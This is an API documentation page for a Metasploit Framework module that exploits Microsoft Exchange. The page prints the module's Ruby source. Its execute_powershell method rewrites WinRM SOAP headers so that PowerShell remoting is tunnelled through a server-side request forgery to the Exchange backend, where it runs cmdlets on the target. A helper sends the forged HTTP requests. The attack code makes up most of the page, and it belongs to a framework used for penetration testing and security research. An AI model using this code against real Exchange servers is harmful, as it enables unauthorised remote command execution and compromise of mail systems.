Module: Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell

Includes:
Msf::Exploit::Remote::HttpClient
Defined in:
lib/msf/core/exploit/remote/http/exchange/proxy_maybe_shell.rb

Defined Under Namespace

Classes: SSRFWinRMConnection, XMLTemplate

Instance Attribute Summary

Attributes included from Msf::Exploit::Remote::HttpClient

#client, #cookie_jar

Instance Method Summary collapse

Methods included from Msf::Exploit::Remote::HttpClient

#basic_auth, #cleanup, #configure_http_login_scanner, #connect, #connect_ws, #deregister_http_client_options, #disconnect, #download, #full_uri, #handler, #http_fingerprint, #lookup_http_fingerprints, #normalize_uri, #path_from_uri, #peer, #proxies, #reconfig_redirect_opts!, #request_opts_from_url, #request_url, #rhost, #rport, #send_request_cgi, #send_request_cgi!, #send_request_raw, #service_details, #setup, #ssl, #ssl_version, #strip_tags, #target_uri, #validate_fingerprint, #vhost

Methods included from Auxiliary::Report

#active_db?, #create_cracked_credential, #create_credential, #create_credential_and_login, #create_credential_login, #db, #db_warning_given?, #get_client, #get_host, #inside_workspace_boundary?, #invalidate_login, #mytask, #myworkspace, #myworkspace_id, #report_auth_info, #report_client, #report_exploit, #report_host, #report_loot, #report_note, #report_service, #report_vuln, #report_web_form, #report_web_page, #report_web_site, #report_web_vuln, #store_cred, #store_local, #store_loot

Methods included from Metasploit::Framework::Require

optionally, optionally_active_record_railtie, optionally_include_metasploit_credential_creation, #optionally_include_metasploit_credential_creation, optionally_require_metasploit_db_gem_engines

Instance Method Details

#execute_powershell(cmdlet, args: [], cat: nil) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/exchange/proxy_maybe_shell.rb', line 18

def execute_powershell(cmdlet, args: [], cat: nil)
  winrm = SSRFWinRMConnection.new({
    endpoint: full_uri('PowerShell/'),
    transport: :ssrf,
    max_backend_retries: datastore['MaxBackendRetries'].to_i,
    ssrf_proc: proc do |method, uri, opts|
      uri = "#{uri}?X-Rps-CAT=#{cat}" if cat
      opts[:data].gsub!(
        %r{<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>(.*?)</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>},
        "<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>http://127.0.0.1/PowerShell/</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>"
      )
      opts[:data].gsub!(
        %r{<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI mustUnderstand="true">(.*?)</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>},
        "<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>"
      )
      res = send_http(method, uri, opts)
      raise WinRM::WinRMAuthorizationError.new('Server responded with 401 Unauthorized.') if res&.code == 401

      res
    end
  })

  successful = true
  begin
    winrm.shell(:powershell) do |shell|
      shell.instance_variable_set(:@max_fragment_blob_size, WinRM::PSRP::MessageFragmenter::DEFAULT_BLOB_LENGTH)
      shell.extend(SSRFWinRMConnection::PowerShell)
      shell.run({ cmdlet: cmdlet, args: args }) do |stdout, stderr|
        unless stdout.blank?
          vprint_line('PSRP output received:')
          vprint_line(stdout)
        end
        unless stderr.blank?
          successful = false
          vprint_error('PSRP error received:')
          vprint_line(stderr)
        end
      end
    end
  rescue WinRM::WinRMAuthorizationError => e
    fail_with(Msf::Exploit::Failure::NoAccess, e.message)
  rescue WinRM::WinRMError => e
    vprint_error("Exception: #{e.message}")
    successful = false
  rescue Msf::Exploit::Failed => e
    raise e
  rescue RuntimeError => e
    print_error("Exception: #{e.inspect}")
    successful = false
  end

  successful
end

#initialize(info = {}) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/exchange/proxy_maybe_shell.rb', line 8

def initialize(info = {})
  super

  register_advanced_options(
    [
      Msf::OptFloat.new('MaxBackendRetries', [true, 'The maximum number of times to retry for targeting the backend', 10]),
    ], self.class
  )
end

#send_http(method, uri, opts = {}) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/exchange/proxy_maybe_shell.rb', line 72

def send_http(method, uri, opts = {})
  request = {
    'method' => method,
    'uri' => uri,
    'agent' => datastore['UserAgent'],
    'ctype' => opts[:ctype],
    'cookie' => opts[:cookie],
    'headers' => { 'Accept' => '*/*', 'Cache-Control' => 'no-cache', 'Connection' => 'keep-alive' }
  }
  request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?
  request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?
  request = request.merge(opts[:authentication]) unless opts[:authentication].nil?

  begin
    received = send_request_cgi(request)
  rescue Errno::ECONNRESET => e
    fail_with(Msf::Exploit::Failure::Disconnected, 'Server reset the connection.')
  end

  fail_with(Msf::Exploit::Failure::TimeoutExpired, 'Server did not respond in an expected way.') unless received

  received
end